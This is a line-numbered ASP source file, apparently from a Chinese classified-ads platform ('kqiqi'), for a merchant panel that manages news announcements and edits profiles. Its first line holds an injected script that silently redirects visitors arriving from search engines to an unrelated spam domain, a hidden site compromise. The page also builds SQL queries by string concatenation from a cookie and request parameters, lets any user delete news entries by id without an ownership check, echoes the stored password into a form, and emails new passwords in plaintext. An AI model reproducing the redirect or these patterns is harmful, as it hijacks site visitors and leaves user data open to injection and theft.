d:\wwwroot\wuchunhua\shop_news.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc/conn.asp"-->
002:
<!--#include file=usercookies.asp-->
003:
<!--#include file="inc/kqiqi_sub.asp"-->
004:
<!--#include file=inc/kqiqi_fuction.asp-->
005:
<!--#include file=inc/md5.asp-->
006:
<!--#include file="inc/function.asp"-->
007:
<%
008:
' @@@@@@ www.kqiqi.com @@@@@@@@@@@@@@@@@
009:
' @ @
010:
' @ @
011:
' @ 客齐齐分管理系统,做最好的分类系统。 @
012:
' @ @
013:
' @ @
014:
' @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
015:
%
>
016:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
017:
<html xmlns="http://www.w3.org/1999/xhtml">
018:
<head>
019:
<title>
<%
=title
%
>-会员管理中心-修改资料-新闻公告管理</title>
020:
<meta http-equiv="Content-Language" content="zh-cn">
021:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
022:
<link rel="icon" href="
<%
=web
%
>/favicon.ico" type="image/x-icon" />
023:
<link rel="shortcut icon" href="
<%
=web
%
>/favicon.ico" type="image/x-icon" />
024:
<link href="inc/style.css" rel="stylesheet" type="text/css" />
025:
</head>
026:
<SCRIPT language=javascript>
027:
<!--
028:
function CheckForm()
029:
{
030:
if(document.comForm.biaoti.value.length<2||document.comForm.biaoti.value.length>25)
031:
{
032:
alert("新闻标题字数请控制在2-25个之间!");
033:
document.comForm.biaoti.focus();
034:
document.comForm.biaoti.select();
035:
return false;
036:
}
037:
if(document.comForm.neirong.value.length<10||document.comForm.neirong.value.length>1500)
038:
{
039:
alert("新闻内容字数请控制在10到1500个之间!");
040:
document.comForm.neirong.focus();
041:
document.comForm.neirong.select();
042:
return false;
043:
}
044:
}
045:
046:
//-->
047:
</SCRIPT>
048:
<script>
049:
function loadThreadFollow(t_id,b_id){
050:
var targetImg =eval("document.all.followImg" + t_id);
051:
var targetDiv =eval("document.all.follow" + t_id);
052:
053:
if ("object"==typeof(targetImg)){
054:
if (targetDiv.style.display!='block'){
055:
targetDiv.style.display="block";
056:
057:
}else{
058:
targetDiv.style.display="none";
059:
}
060:
}
061:
}
062:
</script>
063:
<body>
064:
<%
065:
dim edit,pass2,pass3
066:
username=request.cookies("kqiqi")("username")
067:
edit=Request.form("edit")
068:
pass2=Request.form("pass2")
069:
pass3=Request.form("pass3")
070:
username=request.cookies("kqiqi")("username")
071:
set rs = Server.CreateObject("ADODB.RecordSet")
072:
sql="select * from [kqiqi_shop] where username='"&username&"'"
073:
rs.open sql,conn,1,1
074:
if rs.eof then
075:
response.write "<br>"
076:
response.write "<li>参数错误!没有该用户信息"
077:
response.end
078:
end if
079:
%
>
080:
<div id="Fmain">
081:
<div id="header">
082:
<%
call top()
%
>
083:
</div>
084:
<div class=kon></div>
085:
<div id="Uleft">
086:
<div id=FFTit class=F12bold>会员管理中心</div><div id=FFContent><div Class='FFdiv'>
087:
<!--#include file=shop_userleft.asp-->
088:
</div></div></div>
089:
<div id="Uright">
090:
<div id=FFTit class=F12bold>商户资料修改-新闻公告管理</div><div id=FFContent><div Class='FFdiv'>
091:
092:
<%
if request("gl")="gg" then
093:
kqiqi=request("kqiqi")
094:
ok=request("ok")
095:
%
>
<%
if kqiqi="ggadd" and ok="1" then
096:
set rs=server.createobject("adodb.recordset")
097:
sql="select * from [kqiqi_news] where com='"&username&"'"
098:
rs.open sql,conn,1,3
099:
rs.addnew
100:
rs("gcla")="商户新闻"
101:
rs("biaoti")=HtmlEncode(trim(request("biaoti")))
102:
'rs("neirong")=replace(replace(request("neirong"),chr(13),"<br>")," "," ")
103:
rs("neirong")=HtmlEncodes(request("neirong"))
104:
rs("com")=username
105:
rs("data")=now()
106:
rs.update
107:
rs.close
108:
set rs=nothing
109:
Response.Write "<script language='javascript'>alert('新闻公告添加成功!');</script>"
110:
response.write "<meta http-equiv=refresh content=""1;URL=?gl=gg"">"
111:
elseif kqiqi="ggadd" then
112:
%
>
113:
<form method="POST" name="comForm" action="?kqiqi=ggadd&gl=gg&ok=1"><input TYPE="hidden" name="username" value="
<%
=username
%
>">
114:
<table width="791" cellspacing="0" cellpadding="0"><tr><td height="30" align="right" width="206"><p style="margin-left: 60px">新闻标题:</td>
115:
<td align="left" width="585"><input type="text" name="biaoti" size="59"></td></tr><tr><td height="30" align="right" width="206"><p style="margin-left: 60px">新闻内容:</td>
116:
<td align="left" width="585"><textarea rows="8" name="neirong" cols="50"></textarea></td></tr><tr><td height="38" width="206"> </td>
117:
<td height="38" width="585"><input type="submit" onclick="javascript:return CheckForm();" value="确认添加"></td></tr></table></form>
<%
118:
end if
119:
id=request("id")
120:
121:
if kqiqi="ggdel" then
122:
set rs1=server.createobject("adodb.recordset")
123:
sql1="delete from [kqiqi_news] where id="&cstr(id)
124:
rs1.open sql1,conn,1,3
125:
Response.Write "<script language='javascript'>alert('新闻公告删除成功!');</script>"
126:
response.write "<meta http-equiv=refresh content=""1;URL=?gl=gg"">"
127:
response.end
128:
conn.close
129:
set conn=nothing
130:
end if
131:
132:
if kqiqi="ggedit" and ok="1" then
133:
set rs=server.createobject("adodb.recordset")
134:
sql="select * from kqiqi_news where com='"&username&"' and id="&id&""
135:
rs.open sql,conn,1,3
136:
rs("biaoti")=HtmlEncode(trim(request("biaoti")))
137:
'rs("neirong")=replace(replace(request("neirong"),chr(13),"<br>")," "," ")
138:
rs("neirong")=HtmlEncodes(request("neirong"))
139:
rs("com")=username
140:
rs("data")=now()
141:
rs.update
142:
rs.close
143:
set rs=nothing
144:
Response.Write "<script language='javascript'>alert('新闻公告修改成功!');</script>"
145:
response.write "<meta http-equiv=refresh content=""1;URL=?gl=gg"">"
146:
elseif kqiqi="ggedit" then
147:
set rs=server.createobject("adodb.recordset")
148:
sql="select * from kqiqi_news where com='"&username&"'and id="&id&""
149:
rs.open sql,conn,1,3
150:
biaoti=rs("biaoti")
151:
neirong=HtmlEncodex(rs("neirong"))
152:
rs.close
153:
set rs=nothing
154:
%
> <form method="POST" name="comForm" action="?kqiqi=ggedit&gl=gg&ok=1&id=
<%
=id
%
>"><input TYPE="hidden" name="username" value="
<%
=username
%
>">
155:
<table width="789" border="0" cellspacing="0" cellpadding="0"><tr><td height="30" align="right" width="206"><p style="margin-left: 60px">新闻标题:</td>
156:
<td align="left" width="583"><input type="text" name="biaoti" size="59" value="
<%
=biaoti
%
>"></td></tr><tr><td height="30" align="right" width="206"><p style="margin-left: 60px">新闻内容:</td>
157:
<td align="left" width="583"><textarea rows="8" name="neirong" cols="50">
<%
=neirong
%
></textarea></td></tr><tr><td height="38" width="206"> </td>
158:
<td height="38" width="583"><input type="submit" onclick="javascript:return CheckForm();" value="确认修改"></td></tr></table></form>
<%
159:
end if
160:
if request("page")="" then
161:
ThisPage=1
162:
else
163:
ThisPage=request("page")
164:
end if
165:
set rs=server.createobject("adodb.recordset")
166:
sql="select * from [kqiqi_news] where com='"&username&"' order by data desc"
167:
rs.open sql,conn,1,1
168:
rs.Pagesize=10
169:
Pagesize=rs.Pagesize
170:
Allrecord=rs.Recordcount
171:
Allpage=rs.Pagecount
172:
if ThisPage<1 then
173:
ThisPage=1
174:
end if
175:
On Error Resume Next
176:
rs.move (ThisPage-1)*Pagesize
177:
k=0
178:
%
> <table border="0" cellpadding="0" width="100%" class="td">
179:
<tr>
180:
<td width="99%" height="26" class="userbg"><p align="center"><b>商户网站新闻公告管理 <a href="?kqiqi=ggadd&gl=gg"><font color="#FF0000">添加新闻公告</font></a></b> <b>记录总数</b>:[共
<%
=Allrecord
%
>条公告]</td>
181:
</tr>
182:
<tr>
183:
<td width="99%" valign="top" height="24">
184:
<table border="0" cellspacing="1" width="100%" height="24">
185:
<tr>
186:
<td width="6%" class="userbg">
187:
编号
188:
</td>
189:
<td width="53%" class="userbg">
190:
191:
新 闻 标 题
192:
</td>
193:
<td width="20%" class="userbg">
194:
发布时间
195:
</td>
196:
<td width="9%" class="userbg">
197:
修改操作
198:
</td>
199:
<td width="10%" class="userbg">
200:
删除管理
201:
</td>
202:
</tr>
203:
<%
do while not rs.eof
%
>
204:
<tr>
205:
<td width="6%" height="24" style="border-bottom-style: solid; border-bottom-width: 1"><p align="center"><b><font color="#808080">
<%
=k+1
%
></font></b></td>
206:
<td width="53%" style="border-bottom-style: solid; border-bottom-width: 1"><A target="_blank" href="../shownews.asp?id=
<%
=rs("id")
%
>"><FONT color=#000000>
<%
=rs("biaoti")
%
></FONT></A></td>
207:
<td width="20%" style="border-bottom-style: solid; border-bottom-width: 1">
<%
=rs("data")
%
></td>
208:
<td width="9%" style="border-bottom-style: solid; border-bottom-width: 1"><a href="?gl=gg&kqiqi=ggedit&id=
<%
=rs("id")
%
>"><font color="#FF0000">修改</font></a></td>
209:
<td width="10%" style="border-bottom-style: solid; border-bottom-width: 1"><a onclick='{if(confirm("您确定删除吗?此操作将不能恢复!")){return true;}return false;}' href="?gl=gg&kqiqi=ggdel&id=
<%
=rs("id")
%
>"><font color="#FF0000">删除</font></a></td>
210:
</tr>
<%
211:
k=k+1
212:
rs.movenext
213:
if k>=Pagesize then exit do
214:
loop
215:
%
>
216:
</table>
217:
</td>
218:
</tr>
219:
<tr>
220:
<td width="99%" valign="top">
221:
<table border="0" cellpadding="0" cellspacing="0" width="100%" class="userbg">
222:
<tr>
223:
<td height="27" width="151" align="center">共有 <font color="#CC5200">
<%
=Allrecord
%
></font> 条记录</td>
224:
<td width="181" align="center">共 <font color="#CC5200">
<%
=Allpage
%
></font> 页</td>
225:
<td width="237" align="center">现在是第 <font color="#CC5200">
<%
=ThisPage
%
></font> 页</td>
226:
<td width="200" align="center">
227:
<%
228:
if ThisPage<2 then
229:
response.write "<font color=""#808080"">首页</font> "
230:
response.write "<font color=""#808080"">上页</font> "
231:
else
232:
response.write "<a href=?gl=gg&page=1>首页</a> "
233:
response.write "<a href=?gl=gg&page="&ThisPage-1&">上页</a> "
234:
end if
235:
if Allpage-ThisPage<1 then
236:
response.write "<font color=""#808080"">下页</font> "
237:
response.write "<font color=""#808080"">尾页</font> "
238:
else
239:
response.write "<a href=?gl=gg&page="&(ThisPage+1)&">下页</a> "
240:
response.write "<a href=?gl=gg&page="&Allpage&">尾页</a> "
241:
end if
242:
%
>
243:
</td>
244:
</tr>
245:
</table>
246:
</td>
247:
</tr>
248:
</table>
249:
<%
250:
else
251:
%
>
252:
<%
if edit="" then
%
>
253:
254:
<SCRIPT language=javascript>
255:
<!--
256:
function CheckForm()
257:
{
258:
259:
if(document.comForm1.sjcla1.value.length<1)
260:
{
261:
alert("所属行业一级分类不能为空!");
262:
document.comForm1.sjcla1.focus();
263:
return (false);
264:
}
265:
if(document.comForm1.sjcla2.value.length<1)
266:
{
267:
alert("所属行业二级分类不能为空!");
268:
document.comForm1.sjcla2.focus();
269:
return (false);
270:
}
271:
if(document.comForm1.sjcla1.value=="一级分类")
272:
{
273:
alert("请您选择所属行业一级分类!");
274:
document.comForm1.sjcla1.focus();
275:
return false;
276:
}
277:
if(document.comForm1.sjcla2.value=="二级分类")
278:
{
279:
alert("请您选择所属行业一级分类带出二级分类!");
280:
document.comForm1.sjcla2.focus();
281:
return false;
282:
}
283:
284:
if(document.comForm1.com.value.length<3)
285:
{
286:
alert("商家/店铺名称没有填写或小于3位!");
287:
document.comForm1.com.focus();
288:
document.comForm1.com.select();
289:
return false;
290:
}
291:
if(document.comForm1.comabout.value.length<3)
292:
{
293:
alert("商家/店铺简介没有填写或小于3位!");
294:
document.comForm1.comabout.focus();
295:
document.comForm1.comabout.select();
296:
return false;
297:
}
298:
if (document.comForm1.name.value.length == 0) {
299:
alert("请您填写商家姓名!");
300:
document.comForm1.name.focus();
301:
return false;
302:
}
303:
var str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./'[]{}`1234567890-=\~!@#$%^&*()_+|?><:";
304:
var errorChar
305:
errorChar = isCharsInBag(comForm1.name.value,str)
306:
if (errorChar != "" )
307:
{
308:
alert('商家姓名必须是中文!');
309:
comForm1.name.focus();
310:
return false;
311:
}
312:
function isCharsInBag (s, bag)
313:
{
314:
var i,c;
315:
for (i = 0; i < s.length; i++)
316:
{
317:
c = s.charAt(i);//字符串s中的字符
318:
if (bag.indexOf(c) > -1)
319:
return c;
320:
}
321:
return "";
322:
}
323:
324:
if(document.comForm1.name.value.length<2||document.comForm1.name.value.length>4)
325:
{
326:
alert("商家姓名不能少于2字多于4字!");
327:
document.comForm1.name.focus();
328:
document.comForm1.name.select();
329:
return false;
330:
}
331:
332:
333:
if(document.comForm1.dianhua.value.length<7)
334:
{
335:
alert("请填写您的联系电话,不能小于七位!");
336:
document.comForm1.dianhua.focus();
337:
return false;
338:
}
339:
if(document.comForm1.email.value.length<1)
340:
{
341:
alert("电子邮箱没有填写!");
342:
document.comForm1.email.focus();
343:
return false;
344:
}
345:
var filter=/^\s*([A-Za-z0-9_-]+(\.\w+)*@(\w+\.)+\w{2,3})\s*$/;
346:
if (!filter.test(document.comForm1.email.value)) {
347:
alert("邮件地址不正确,请重新填写!");
348:
document.comForm1.email.focus();
349:
document.comForm1.email.select();
350:
return (false);
351:
}
352:
if(document.comForm1.dizhi.value.length<1)
353:
{
354:
alert("通信地址没有填写!");
355:
document.comForm1.dizhi.focus();
356:
return false;
357:
}
358:
}
359:
//-->
360:
</SCRIPT>
361:
<form method="POST" name="comForm1" action="?">
362:
<table width="100%" cellspacing="0" cellpadding="0"><tr><td height="26" width="30%" align="right">登陆帐号:</td><td height="26" width="68%"><font style="font-size: 11pt">
<%
=rs("username")
%
></font></td></tr><tr><td height="26" width="30%" align="right">原密码:</td><td height="26" width="68%"> <input name="pass1" size="20" value="
<%
=rs("password")
%
>" type="password"> 不修改密码,保留不变</td></tr><tr><td height="26" width="30%" align="right">新密码:</td><td height="26" width="68%"> <input type="password" name="pass2" size="20"> 不修改密码,留空</td></tr><tr><td height="26" width="30%" align="right">确认新密码:</td><td height="26" width="68%"> <input type="password" name="pass3" size="20"> 不修改密码,留空</td></tr><tr><td height="26" width="30%" align="right">所属行业:</td><td height="26" width="68%">
<%
363:
set rsc2=server.createobject("adodb.recordset")
364:
sqlc2 = "select * from sjcla2 order by paixu desc"
365:
rsc2.open sqlc2,conn,1,1
366:
%
><SCRIPT language = "JavaScript">
367:
var onecount;
368:
onecount=0;
369:
subcat = new Array();
370:
<%
371:
count = 0
372:
do while not rsc2.eof
373:
%
>
374:
subcat[
<%
=count
%
>] = new Array("
<%
= trim(rsc2("sjcla2"))
%
>","
<%
= trim(rsc2("sjcla1"))
%
>","
<%
= trim(rsc2("id"))
%
>");
375:
<%
376:
count = count + 1
377:
rsc2.movenext
378:
loop
379:
rsc2.close
380:
%
>
381:
onecount=
<%
=count
%
>;
382:
383:
function changelocation(locationid)
384:
{
385:
document.comForm1.sjcla2.length = 0;
386:
387:
var locationid=locationid;
388:
var i;
389:
for (i=0;i < onecount; i++)
390:
{
391:
if (subcat[i][1] == locationid)
392:
{
393:
document.comForm1.sjcla2.options[document.comForm1.sjcla2.length] = new Option(subcat[i][0], subcat[i][2]);
394:
}
395:
}
396:
397:
}
398:
</SCRIPT>
399:
<%
400:
sqlc2 = "select * from sjcla1 order by paixu desc"
401:
rsc2.open sqlc2,conn,1,1
402:
sjcla1=rs("sjcla1")
403:
sjcla2=rs("sjcla2")
404:
if rsc2.eof and rsc2.bof then
405:
response.write "请先添加一级分类栏目。"
406:
response.end
407:
else
408:
%
><SELECT name="sjcla1" onChange="changelocation(document.comForm1.sjcla1.options[document.comForm1.sjcla1.selectedIndex].value)" size="1"><OPTION value="一级分类">一级分类</OPTION>
<%
do while not rsc2.eof
409:
%
><OPTION
<%
if trim(sjcla1)=cstr(rsc2("id")) then
%
>selected
<%
end if
%
> value="
<%
=trim(rsc2("id"))
%
>">
<%
=trim(rsc2("sjcla1"))
%
></OPTION>
<%
410:
rsc2.movenext
411:
loop
412:
end if
413:
rsc2.close
414:
%
></SELECT>
415:
<SELECT name="sjcla2">
416:
<%
417:
sqlc2 = "select id,sjcla2 from sjcla2 where id="&cstr(sjcla2)
418:
rsc2.open sqlc2,conn,1,1
419:
%
>
420:
<OPTION
<%
if trim("sjcla2")=cstr(rsc2("id")) then
%
>selected
<%
end if
%
> value="
<%
=trim(rsc2("id"))
%
>">
<%
=trim(rsc2("sjcla2"))
%
></OPTION>
<%
421:
rsc2.close
422:
%
>
423:
424:
</SELECT>
425:
<font color="#FF0000">*</font></td>
426:
</tr>
427:
<tr>
428:
<td height="26" width="30%" align="right">商家/店铺名称:</td>
429:
<td height="26" width="68%"> <input type="text" maxlength="12" name="com" size="50" value="
<%
=rs("com")
%
>"> <font color="#FF0000">*</font></td>
430:
</tr>
431:
<tr>
432:
<td height="26" width="30%" align="right">商家/店铺简介:</td>
433:
<td height="26" width="68%"> <textarea rows="8" name="comabout" cols="42">
<%
=HTMLEncodex(rs("comabout"))
%
></textarea></td>
434:
</tr>
435:
<tr>
436:
<td height="26" width="30%" align="right"><p>商家姓名:</td>
437:
<td height="26" width="68%"> <input type="text" maxlength="12" name="name" size="20" value="
<%
=rs("name")
%
>"><font color="#FF0000"> *</font></td>
438:
</tr>
439:
<tr>
440:
<td height="26" width="30%" align="right"><p align="right">邮件地址:</td>
441:
<td height="26" width="68%"> <input type="text" maxlength="30" name="email" size="20" value="
<%
=rs("email")
%
>"><font color="#FF0000"> *</font> QQ:<input type="text" maxlength="10" name="qq" size="20" value="
<%
=rs("qq")
%
>" ></td>
442:
</tr>
443:
<tr>
444:
<td height="26" width="30%"><p align="right">联系电话:</td>
445:
<td height="26" width="68%"> <input type="text" maxlength="24" name="dianhua" size="20" value="
<%
=rs("dianhua")
%
>" ><font color="#FF0000"> * </font>传真:<input type="text" maxlength="30" name="fax" size="20" value="
<%
=rs("fax")
%
>" ></td>
446:
</tr>
447:
<tr>
448:
<td height="26" width="30%"><p align="right">商家/店铺地址:</td><td height="26" width="68%"> <input type="text" maxlength="50" name="dizhi" size="52" value="
<%
=rs("dizhi")
%
>" ></td>
449:
</tr>
450:
<tr>
451:
<td height="33" width="30%" align="right">交通指南:</td><td height="26" width="68%"> <input type="text" maxlength="100" name="che" size="52" value="
<%
=rs("che")
%
>" ></td>
452:
</tr>
453:
<tr>
454:
<td height="33" width="30%" align="right"><p style="margin-left: 60px">店标连接地址:</td>
455:
<td height="26" width="68%"> <input type="text" name="tupian" size="47" id="tupian" maxlength="200" value="
<%
=rs("logo")
%
>"><span id="followImg1" style="CURSOR: hand" title="选中上传店标图片" onclick="loadThreadFollow(1,5)">无现成图片,可<font color="#FF0000">上传图片</font>↓</span></td>
456:
</tr>
457:
<tr style="display:none" id="follow1">
458:
<td height="33" width="30%" align="right"> </td>
459:
<td height="26" width="68%"> <iframe name="I1" src="upshoplogo.asp" scrolling="no" border="0" frameborder="0" width="354" height="26"></iframe>大小:150*150</td>
460:
</tr>
461:
<tr><td height="33" width="30%" align="right"><p style="margin-left: 60px"><font color="#FF0000">商户最新公告:</font></td>
462:
<td height="26" width="68%"> <input type="text" name="comgg" size="62" value="
<%
=rs("comgg")
%
>"> 滚动字幕</td>
463:
</tr>
464:
<tr>
465:
<td height="50" colspan="2"><p align="center"><input type="submit" onclick="javascript:return CheckForm();" value="提交修改" name="edit"></td>
466:
</tr></table></form>
<%
else
467:
if pass2="" or pass3="" then
468:
username=request.cookies("kqiqi")("username")
469:
name=HtmlEncode(trim(request("name")))
470:
password=trim(request("password"))
471:
email=HtmlEncode(trim(request("email")))
472:
set rs=server.createobject("adodb.recordset")
473:
sql="select * from [kqiqi_shop] where username='"&username&"'"
474:
rs.open sql,conn,1,3
475:
rs("com")=HtmlEncode(trim(request("com")))
476:
rs("sjcla1")=trim(request("sjcla1"))
477:
rs("sjcla2")=trim(request("sjcla2"))
478:
rs("comabout")=HtmlEncodes(trim(request("comabout")))
479:
rs("name")=name
480:
rs("email")=email
481:
rs("dianhua")=HtmlEncode(trim(request("dianhua")))
482:
rs("fax")=HtmlEncode(trim(request("fax")))
483:
rs("qq")=HtmlEncode(trim(request("qq")))
484:
rs("dizhi")=HtmlEncode(trim(request("dizhi")))
485:
rs("che")=HtmlEncode(trim(request("che")))
486:
rs("logo")=HtmlEncode(trim(request("tupian")))
487:
rs("comgg")=HtmlEncode(trim(request("comgg")))
488:
489:
rs.update
490:
rs.close
491:
set rs=nothing
492:
closedb
493:
response.write "<center>用户资料修改成功!!</center>"
494:
response.write "<meta http-equiv=refresh content=""1;URL=shop_news.asp"">"
495:
else
%
>
<%
496:
if pass2<>pass3 then
497:
response.write "<script language=JavaScript>" & chr(13) & "alert('两次密码输入不同,返回重新输入!!');" & "window.location='shop_news.asp'" & "</script>"
498:
response.end
499:
end if
500:
username=request.cookies("kqiqi")("username")
501:
%
> <table border="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#111111" width="582"><tr><td valign="top" align="center" bgcolor="#FFFFFF">
<%
502:
set rs=server.createobject("adodb.recordset")
503:
sql="select password,username,email from [kqiqi_shop] where username='"&username&"'"
504:
rs.open sql,conn,1,3
505:
username=trim(rs("username"))
506:
email=trim(rs("email"))
507:
rs("password")=md5(pass2)
508:
rs.update
509:
response.write "<li>修改密码成功,同时我们已经将您的新密码发送到|<b>"&email&"</b>|,请保管好您的新密码!"
510:
call mail()
511:
response.write "<meta http-equiv=refresh content=""1;URL=shop_news.asp"">"
512:
Response.cookies("kqiqi")=""
513:
rs.close
514:
set rs=nothing
515:
closedb
516:
%
></td></tr></table>
<%
517:
sub mail()
518:
dim mailbody,Jmail
519:
mailbody="您好,"&username&"!<br>您已成功修改了密码!现在资料为:登陆帐号:[<b>"&username&"</b>] 您的新密码是:[<b>"&pass2&"</b>]<br> 欢迎登陆<a target=_blank href="&web&">"&title&""&web&"</a> 发布您的信息!<br>感谢您使用我们<a target=_blank href="&web&">"&title&"</a>为您提供的真诚服务!<br>["&title&"]做最大、最专业的信息发布平台<br>"&about&"" '邮件内容
520:
Set Jmail=server.createobject("Jmail.Message")
521:
Jmail.Charset ="gb2312"
522:
JMail.ContentType = "text/html"
523:
Jmail.Silent =true
524:
Jmail.Priority = 3
525:
Jmail.MailServerUserName = mailname
526:
Jmail.MailServerPassword = mailpass
527:
Jmail.From = mailform
528:
Jmail.FromName =""&title&""
529:
Jmail.Subject ="密码修改成功!-"&title&""
530:
Jmail.AddRecipient ""&email&""
531:
Jmail.Body = mailbody
532:
Jmail.Send(mailsmtp)
533:
Set Jmail=nothing
534:
end sub
535:
%
>
<%
536:
end if
537:
end if
538:
end if
%
>
539:
</div></div></div>
540:
<br style="clear:both;" />
541:
<div class=kon></div>
542:
<div class=kon></div>
543:
<div id="footer">
544:
<%
545:
call bottom()
546:
%
>
547:
</div>
548:
</div>
549:
550:
</body>
551:
</html>
552:
553: